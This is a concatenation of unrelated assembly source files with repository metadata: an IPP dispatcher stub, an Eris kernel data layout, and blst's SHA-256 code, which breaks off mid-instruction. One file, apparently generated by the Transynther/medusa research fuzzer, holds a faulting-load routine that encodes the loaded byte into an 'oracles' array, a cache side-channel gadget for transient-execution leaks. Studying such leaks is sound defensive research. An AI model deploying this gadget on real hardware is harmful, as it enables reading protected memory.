extern m7_ippsSHA224GetSize:function extern n8_ippsSHA224GetSize:function extern y8_ippsSHA224GetSize:function extern e9_ippsSHA224GetSize:function extern l9_ippsSHA224GetSize:function extern n0_ippsSHA224GetSize:function extern k0_ippsSHA224GetSize:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsSHA224GetSize .Larraddr_ippsSHA224GetSize: dq m7_ippsSHA224GetSize dq n8_ippsSHA224GetSize dq y8_ippsSHA224GetSize dq e9_ippsSHA224GetSize dq l9_ippsSHA224GetSize dq n0_ippsSHA224GetSize dq k0_ippsSHA224GetSize segment .text global ippsSHA224GetSize:function (ippsSHA224GetSize.LEndippsSHA224GetSize - ippsSHA224GetSize) .Lin_ippsSHA224GetSize: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsSHA224GetSize: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsSHA224GetSize] mov r11, qword [r11+rax*8] jmp r11 .LEndippsSHA224GetSize:
27.820513
95
0.797235
83f391238ce72ccc94f87338d37803654efa320b
8,833
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_880.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_880.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_880.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xd63, %rbx nop nop nop cmp %r15, %r15 movups (%rbx), %xmm6 vpextrq $1, %xmm6, %r12 nop nop nop nop nop dec %r9 lea addresses_A_ht+0x6dcf, %rsi lea addresses_UC_ht+0x9583, %rdi clflush (%rsi) nop nop nop nop sub %rax, %rax mov $38, %rcx rep movsq nop sub %r9, %r9 lea addresses_WT_ht+0xa2f3, %rbx nop nop cmp $17833, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%rbx) dec %rdi lea addresses_D_ht+0x40b3, %rsi lea addresses_UC_ht+0x7963, %rdi nop xor %rax, %rax mov $77, %rcx rep movsq nop nop nop nop sub $50943, %r9 lea addresses_D_ht+0x8363, %r15 nop nop and %rax, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm6 vmovups %ymm6, (%r15) nop cmp $12681, %rsi lea addresses_D_ht+0x2c3b, %rbx nop nop nop xor %rsi, %rsi movw $0x6162, (%rbx) nop sub $34947, %r15 lea addresses_normal_ht+0x1d13b, %rsi lea addresses_D_ht+0xe963, %rdi nop nop dec %rax mov $47, %rcx rep movsq nop nop nop cmp %r15, %r15 lea addresses_A_ht+0x10163, %rdi nop nop nop inc %r15 mov $0x6162636465666768, %r12 movq %r12, %xmm2 and $0xffffffffffffffc0, %rdi movaps %xmm2, (%rdi) nop add $22012, %rsi lea addresses_A_ht+0x15d63, %rsi lea addresses_A_ht+0x2563, %rdi nop nop nop nop nop add %rbx, %rbx mov $112, %rcx rep movsq nop cmp %r12, %r12 lea addresses_WT_ht+0x2163, %rbx nop nop and $18945, %r15 movl $0x61626364, (%rbx) nop nop nop lfence lea addresses_WT_ht+0x14563, %rax nop nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop add %rax, %rax lea addresses_WC_ht+0x99a3, %rsi lea addresses_WC_ht+0x8a53, %rdi nop nop nop nop nop sub $25418, %r9 mov $83, %rcx rep movsb nop nop nop sub $60947, %rbx lea addresses_WC_ht+0x128e3, %rsi lea addresses_D_ht+0x1803b, %rdi nop nop nop sub %r15, %r15 mov $109, %rcx rep movsl nop nop xor $44421, %r15 lea addresses_D_ht+0x8d63, %rcx nop nop inc %rdi mov (%rcx), %si nop nop nop and $51288, %r12 lea addresses_WC_ht+0xbf63, %rsi lea addresses_WC_ht+0x1d1e3, %rdi nop nop nop nop dec %r9 mov $39, %rcx rep movsl and $45468, %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x4163, %rdi nop xor $1844, %r15 movl $0x51525354, (%rdi) nop nop nop and $16735, %r14 // Store lea addresses_WC+0x1da63, %rsi nop sub %rdx, %rdx movw $0x5152, (%rsi) nop nop sub %rdi, %rdi // Store lea addresses_WT+0xe563, %rdx xor %rcx, %rcx movl $0x51525354, (%rdx) nop nop dec %rsi // Load lea addresses_WT+0xe563, %rdx xor %r9, %r9 movups (%rdx), %xmm4 vpextrq $0, %xmm4, %rcx nop sub %r14, %r14 // Faulty Load lea addresses_WT+0xe563, %rdx mfence mov (%rdx), %r15 lea oracles, %rcx and $0xff, %r15 shlq $12, %r15 mov (%rcx,%r15,1), %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
32.237226
2,999
0.655723
812a1bf73f0acdac953598b7d3789302d24ab791
4,165
asm
Assembly
kernel/system/data.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
13
2020-03-31T08:21:22.000Z
2021-07-28T20:03:29.000Z
kernel/system/data.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
37
2020-03-31T06:35:37.000Z
2020-09-17T08:56:48.000Z
kernel/system/data.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
5
2020-05-10T10:23:06.000Z
2022-01-14T02:21:02.000Z
; ***************************************************************************** ; ***************************************************************************** ; ; Name: data.asm ; Purpose: Data Allocation ; Created: 8th March 2020 ; Reviewed: 20th March 2020 ; Author: Paul Robson (paul@robsons.org.uk) ; ; ***************************************************************************** ; ***************************************************************************** ; ***************************************************************************** ; ; Pad out the kernel image to full size ; ; ***************************************************************************** org kernelEnd-1 word 0 org ramStart ; ***************************************************************************** ; ; This data is erased to $0000 ; ; ***************************************************************************** .initialisedStart ; ***************************************************************************** ; ; System Variables (order must be maintained) ; (should be viewed as read only) ; ; ***************************************************************************** .systemVariables .lowmemory ; lowest memory address [sysvar(0)] fill 1 .highmemory ; first memory address after the end of [sysvar(1)] fill 1 ; RAM (e.g. if RAM is $4000-$BFFF,$C000) .textMemory ; address of 53x30 character text buffer [sysvar(2)] fill 1 .spriteImageMemory ; available sprite image memory [sysvar(3)] fill 1 .spriteImageCount ; sprite image maximum number [sysvar(4)] fill 1 .xTextExtent ; screen width, characters [sysvar(5)] fill 1 .yTextExtent ; screen height, characters [sysvar(6)] fill 1 .defaultFont ; standard 5 x 7 font [sysvar(7)] fill 1 .xTextPos ; x text position [sysvar(8)] fill 1 .yTextPos ; y text position [sysvar(9)] fill 1 .xGraphic ; x graphic cursor position. [sysvar(10)] fill 1 .yGraphic ; y graphic cursor position. [sysvar(11)] fill 1 .fgrColour ; foreground colour [sysvar(12)] fill 1 .bgrColour ; background colour [sysvar(13)] fill 1 .spriteAddress ; sprite data location [sysvar(14)] fill 1 .spriteCount ; sprite count [sysvar(15)] fill 1 .spriteRecordSizeValue ; bytes reqd/sprite [sysvar(16)] fill 1 .soundQueueBase ; sound queue memory [sysvar(17)] fill 1 ; ***************************************************************************** ; (these can be accessed by assembler and so on) ; ***************************************************************************** .colourMask ; colour mask for background fill 1 .spriteMask ; colour mask for sprites fill 1 .spriteRotate ; value to rotate to convert a colour to a sprite colour fill 1 .activePlane ; where graphics ops are targeted, 0 bgr, 1 sprite fill 1 .currentKey ; character code of current key, 0 if none pressed fill 1 .currentRowStatus ; status of each row of the keyboard for scanning. fill 6 ; row in order of documentation e.g. column $01 first. .keyRepeatTime ; timer when the key repeats. fill 1 .functionKeyQueue ; queue for function key expansion, 0 = not happening fill 1 .functionKeyByte ; indicates low byte (0) high byte (1) fill 1 .functionKeyDefinitions ; 6 definitions, stored as pairs terminated by zero fill 6 * functionKeySize ; *without* a leading size. .nextManagerEvent ; next system manager event fill 1 .initialisedEnd ; ; This data is not initialised. ; .randomSeed ; random seed. fill 1 .convBuffer ; buffer for string conversion. Up to 17 characters fill maxIStrSize ; (a sign and 16 digits) .blitterTemp ; work word for blitter fill 1 .spritesEnabled ; non-zero if sprites are enabled. fill 1 .spriteSelect ; address of currently selected sprite fill 1 .freeMemory
28.724138
82
0.488595
801bac4433f7fe5746a5c731af6bb38076e767c2
26,967
asm
Assembly
build/win64/sha256-x86_64.asm
michaelsproul/blst
328cfc04cd1e4cdbe8659f6915d6ac4b9b8cf2b9
[ "Apache-2.0" ]
1
2020-08-04T05:11:44.000Z
2020-08-04T05:11:44.000Z
build/win64/sha256-x86_64.asm
michaelsproul/blst
328cfc04cd1e4cdbe8659f6915d6ac4b9b8cf2b9
[ "Apache-2.0" ]
null
null
null
build/win64/sha256-x86_64.asm
michaelsproul/blst
328cfc04cd1e4cdbe8659f6915d6ac4b9b8cf2b9
[ "Apache-2.0" ]
null
null
null
OPTION DOTNAME .text$ SEGMENT ALIGN(256) 'CODE' ALIGN 64 K256:: DD 0428a2f98h,071374491h,0b5c0fbcfh,0e9b5dba5h DD 03956c25bh,059f111f1h,0923f82a4h,0ab1c5ed5h DD 0d807aa98h,012835b01h,0243185beh,0550c7dc3h DD 072be5d74h,080deb1feh,09bdc06a7h,0c19bf174h DD 0e49b69c1h,0efbe4786h,00fc19dc6h,0240ca1cch DD 02de92c6fh,04a7484aah,05cb0a9dch,076f988dah DD 0983e5152h,0a831c66dh,0b00327c8h,0bf597fc7h DD 0c6e00bf3h,0d5a79147h,006ca6351h,014292967h DD 027b70a85h,02e1b2138h,04d2c6dfch,053380d13h DD 0650a7354h,0766a0abbh,081c2c92eh,092722c85h DD 0a2bfe8a1h,0a81a664bh,0c24b8b70h,0c76c51a3h DD 0d192e819h,0d6990624h,0f40e3585h,0106aa070h DD 019a4c116h,01e376c08h,02748774ch,034b0bcb5h DD 0391c0cb3h,04ed8aa4ah,05b9cca4fh,0682e6ff3h DD 0748f82eeh,078a5636fh,084c87814h,08cc70208h DD 090befffah,0a4506cebh,0bef9a3f7h,0c67178f2h DD 000010203h,004050607h,008090a0bh,00c0d0e0fh DD 003020100h,00b0a0908h,0ffffffffh,0ffffffffh DD 0ffffffffh,0ffffffffh,003020100h,00b0a0908h DB 83,72,65,50,53,54,32,98,108,111,99,107,32,116,114,97 DB 110,115,102,111,114,109,32,102,111,114,32,120,56,54,95,54 DB 52,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121 DB 32,64,100,111,116,45,97,115,109,0 PUBLIC sha256_block_data_order_shaext ALIGN 64 sha256_block_data_order_shaext PROC PUBLIC DB 243,15,30,250 mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov r11,rsp $L$SEH_begin_sha256_block_data_order_shaext:: mov rdi,rcx mov rsi,rdx mov rdx,r8 sub rsp,058h movaps XMMWORD PTR[(-88)+r11],xmm6 movaps XMMWORD PTR[(-72)+r11],xmm7 movaps XMMWORD PTR[(-56)+r11],xmm8 movaps XMMWORD PTR[(-40)+r11],xmm9 movaps XMMWORD PTR[(-24)+r11],xmm10 $L$SEH_body_sha256_block_data_order_shaext:: lea rcx,QWORD PTR[((K256+128))] movdqu xmm1,XMMWORD PTR[rdi] movdqu xmm2,XMMWORD PTR[16+rdi] movdqa xmm7,XMMWORD PTR[((256-128))+rcx] pshufd xmm0,xmm1,01bh pshufd xmm1,xmm1,0b1h pshufd xmm2,xmm2,01bh movdqa xmm8,xmm7 DB 102,15,58,15,202,8 punpcklqdq xmm2,xmm0 jmp $L$oop_shaext ALIGN 16 $L$oop_shaext:: movdqu xmm3,XMMWORD PTR[rsi] movdqu xmm4,XMMWORD PTR[16+rsi] movdqu xmm5,XMMWORD PTR[32+rsi] DB 102,15,56,0,223 movdqu xmm6,XMMWORD PTR[48+rsi] movdqa xmm0,XMMWORD PTR[((0-128))+rcx] paddd xmm0,xmm3 DB 102,15,56,0,231 movdqa xmm10,xmm2 DB 15,56,203,209 pshufd xmm0,xmm0,00eh nop movdqa xmm9,xmm1 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((16-128))+rcx] paddd xmm0,xmm4 DB 102,15,56,0,239 DB 15,56,203,209 pshufd xmm0,xmm0,00eh lea rsi,QWORD PTR[64+rsi] DB 15,56,204,220 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((32-128))+rcx] paddd xmm0,xmm5 DB 102,15,56,0,247 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm6 DB 102,15,58,15,253,4 nop paddd xmm3,xmm7 DB 15,56,204,229 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((48-128))+rcx] paddd xmm0,xmm6 DB 15,56,205,222 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm3 DB 102,15,58,15,254,4 nop paddd xmm4,xmm7 DB 15,56,204,238 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((64-128))+rcx] paddd xmm0,xmm3 DB 15,56,205,227 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm4 DB 102,15,58,15,251,4 nop paddd xmm5,xmm7 DB 15,56,204,243 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((80-128))+rcx] paddd xmm0,xmm4 DB 15,56,205,236 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm5 DB 102,15,58,15,252,4 nop paddd xmm6,xmm7 DB 15,56,204,220 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((96-128))+rcx] paddd xmm0,xmm5 DB 15,56,205,245 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm6 DB 102,15,58,15,253,4 nop paddd xmm3,xmm7 DB 15,56,204,229 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((112-128))+rcx] paddd xmm0,xmm6 DB 15,56,205,222 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm3 DB 102,15,58,15,254,4 nop paddd xmm4,xmm7 DB 15,56,204,238 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((128-128))+rcx] paddd xmm0,xmm3 DB 15,56,205,227 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm4 DB 102,15,58,15,251,4 nop paddd xmm5,xmm7 DB 15,56,204,243 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((144-128))+rcx] paddd xmm0,xmm4 DB 15,56,205,236 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm5 DB 102,15,58,15,252,4 nop paddd xmm6,xmm7 DB 15,56,204,220 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((160-128))+rcx] paddd xmm0,xmm5 DB 15,56,205,245 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm6 DB 102,15,58,15,253,4 nop paddd xmm3,xmm7 DB 15,56,204,229 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((176-128))+rcx] paddd xmm0,xmm6 DB 15,56,205,222 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm3 DB 102,15,58,15,254,4 nop paddd xmm4,xmm7 DB 15,56,204,238 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((192-128))+rcx] paddd xmm0,xmm3 DB 15,56,205,227 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm4 DB 102,15,58,15,251,4 nop paddd xmm5,xmm7 DB 15,56,204,243 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((208-128))+rcx] paddd xmm0,xmm4 DB 15,56,205,236 DB 15,56,203,209 pshufd xmm0,xmm0,00eh movdqa xmm7,xmm5 DB 102,15,58,15,252,4 DB 15,56,203,202 paddd xmm6,xmm7 movdqa xmm0,XMMWORD PTR[((224-128))+rcx] paddd xmm0,xmm5 DB 15,56,203,209 pshufd xmm0,xmm0,00eh DB 15,56,205,245 movdqa xmm7,xmm8 DB 15,56,203,202 movdqa xmm0,XMMWORD PTR[((240-128))+rcx] paddd xmm0,xmm6 nop DB 15,56,203,209 pshufd xmm0,xmm0,00eh dec rdx nop DB 15,56,203,202 paddd xmm2,xmm10 paddd xmm1,xmm9 jnz $L$oop_shaext pshufd xmm2,xmm2,0b1h pshufd xmm7,xmm1,01bh pshufd xmm1,xmm1,0b1h punpckhqdq xmm1,xmm2 DB 102,15,58,15,215,8 movdqu XMMWORD PTR[rdi],xmm1 movdqu XMMWORD PTR[16+rdi],xmm2 movaps xmm6,XMMWORD PTR[((-88))+r11] movaps xmm7,XMMWORD PTR[((-72))+r11] movaps xmm8,XMMWORD PTR[((-56))+r11] movaps xmm9,XMMWORD PTR[((-40))+r11] movaps xmm10,XMMWORD PTR[((-24))+r11] mov rsp,r11 $L$SEH_epilogue_sha256_block_data_order_shaext:: mov rdi,QWORD PTR[8+r11] ;WIN64 epilogue mov rsi,QWORD PTR[16+r11] DB 0F3h,0C3h ;repret $L$SEH_end_sha256_block_data_order_shaext:: sha256_block_data_order_shaext ENDP PUBLIC sha256_block_data_order ALIGN 64 sha256_block_data_order PROC PUBLIC DB 243,15,30,250 mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov r11,rsp $L$SEH_begin_sha256_block_data_order:: mov rdi,rcx mov rsi,rdx mov rdx,r8 push rbp push rbx push r12 push r13 push r14 push r15 shl rdx,4 sub rsp,104 lea rdx,QWORD PTR[rdx*4+rsi] mov QWORD PTR[rsp],rdi mov QWORD PTR[16+rsp],rdx movaps XMMWORD PTR[32+rsp],xmm6 movaps XMMWORD PTR[48+rsp],xmm7 movaps XMMWORD PTR[64+rsp],xmm8 movaps XMMWORD PTR[80+rsp],xmm9 mov rbp,rsp $L$SEH_body_sha256_block_data_order:: lea rsp,QWORD PTR[((-64))+rsp] mov eax,DWORD PTR[rdi] and rsp,-64 mov ebx,DWORD PTR[4+rdi] mov ecx,DWORD PTR[8+rdi] mov edx,DWORD PTR[12+rdi] mov r8d,DWORD PTR[16+rdi] mov r9d,DWORD PTR[20+rdi] mov r10d,DWORD PTR[24+rdi] mov r11d,DWORD PTR[28+rdi] jmp $L$loop_ssse3 ALIGN 16 $L$loop_ssse3:: movdqa xmm7,XMMWORD PTR[((K256+256))] mov QWORD PTR[8+rbp],rsi movdqu xmm0,XMMWORD PTR[rsi] movdqu xmm1,XMMWORD PTR[16+rsi] movdqu xmm2,XMMWORD PTR[32+rsi] DB 102,15,56,0,199 movdqu xmm3,XMMWORD PTR[48+rsi] lea rsi,QWORD PTR[K256] DB 102,15,56,0,207 movdqa xmm4,XMMWORD PTR[rsi] movdqa xmm5,XMMWORD PTR[16+rsi] DB 102,15,56,0,215 paddd xmm4,xmm0 movdqa xmm6,XMMWORD PTR[32+rsi] DB 102,15,56,0,223 movdqa xmm7,XMMWORD PTR[48+rsi] paddd xmm5,xmm1 paddd xmm6,xmm2 paddd xmm7,xmm3 movdqa XMMWORD PTR[rsp],xmm4 mov r14d,eax movdqa XMMWORD PTR[16+rsp],xmm5 mov edi,ebx movdqa XMMWORD PTR[32+rsp],xmm6 xor edi,ecx movdqa XMMWORD PTR[48+rsp],xmm7 mov r13d,r8d jmp $L$ssse3_00_47 ALIGN 16 $L$ssse3_00_47:: sub rsi,-64 ror r13d,14 movdqa xmm4,xmm1 mov eax,r14d mov r12d,r9d movdqa xmm7,xmm3 ror r14d,9 xor r13d,r8d xor r12d,r10d ror r13d,5 xor r14d,eax DB 102,15,58,15,224,4 and r12d,r8d xor r13d,r8d DB 102,15,58,15,250,4 add r11d,DWORD PTR[rsp] mov r15d,eax xor r12d,r10d ror r14d,11 movdqa xmm5,xmm4 xor r15d,ebx add r11d,r12d movdqa xmm6,xmm4 ror r13d,6 and edi,r15d psrld xmm4,3 xor r14d,eax add r11d,r13d xor edi,ebx paddd xmm0,xmm7 ror r14d,2 add edx,r11d psrld xmm6,7 add r11d,edi mov r13d,edx pshufd xmm7,xmm3,250 add r14d,r11d ror r13d,14 pslld xmm5,14 mov r11d,r14d mov r12d,r8d pxor xmm4,xmm6 ror r14d,9 xor r13d,edx xor r12d,r9d ror r13d,5 psrld xmm6,11 xor r14d,r11d pxor xmm4,xmm5 and r12d,edx xor r13d,edx pslld xmm5,11 add r10d,DWORD PTR[4+rsp] mov edi,r11d pxor xmm4,xmm6 xor r12d,r9d ror r14d,11 movdqa xmm6,xmm7 xor edi,eax add r10d,r12d pxor xmm4,xmm5 ror r13d,6 and r15d,edi xor r14d,r11d psrld xmm7,10 add r10d,r13d xor r15d,eax paddd xmm0,xmm4 ror r14d,2 add ecx,r10d psrlq xmm6,17 add r10d,r15d mov r13d,ecx add r14d,r10d pxor xmm7,xmm6 ror r13d,14 mov r10d,r14d mov r12d,edx ror r14d,9 psrlq xmm6,2 xor r13d,ecx xor r12d,r8d pxor xmm7,xmm6 ror r13d,5 xor r14d,r10d and r12d,ecx pshufd xmm7,xmm7,128 xor r13d,ecx add r9d,DWORD PTR[8+rsp] mov r15d,r10d psrldq xmm7,8 xor r12d,r8d ror r14d,11 xor r15d,r11d add r9d,r12d ror r13d,6 paddd xmm0,xmm7 and edi,r15d xor r14d,r10d add r9d,r13d pshufd xmm7,xmm0,80 xor edi,r11d ror r14d,2 add ebx,r9d movdqa xmm6,xmm7 add r9d,edi mov r13d,ebx psrld xmm7,10 add r14d,r9d ror r13d,14 psrlq xmm6,17 mov r9d,r14d mov r12d,ecx pxor xmm7,xmm6 ror r14d,9 xor r13d,ebx xor r12d,edx ror r13d,5 xor r14d,r9d psrlq xmm6,2 and r12d,ebx xor r13d,ebx add r8d,DWORD PTR[12+rsp] pxor xmm7,xmm6 mov edi,r9d xor r12d,edx ror 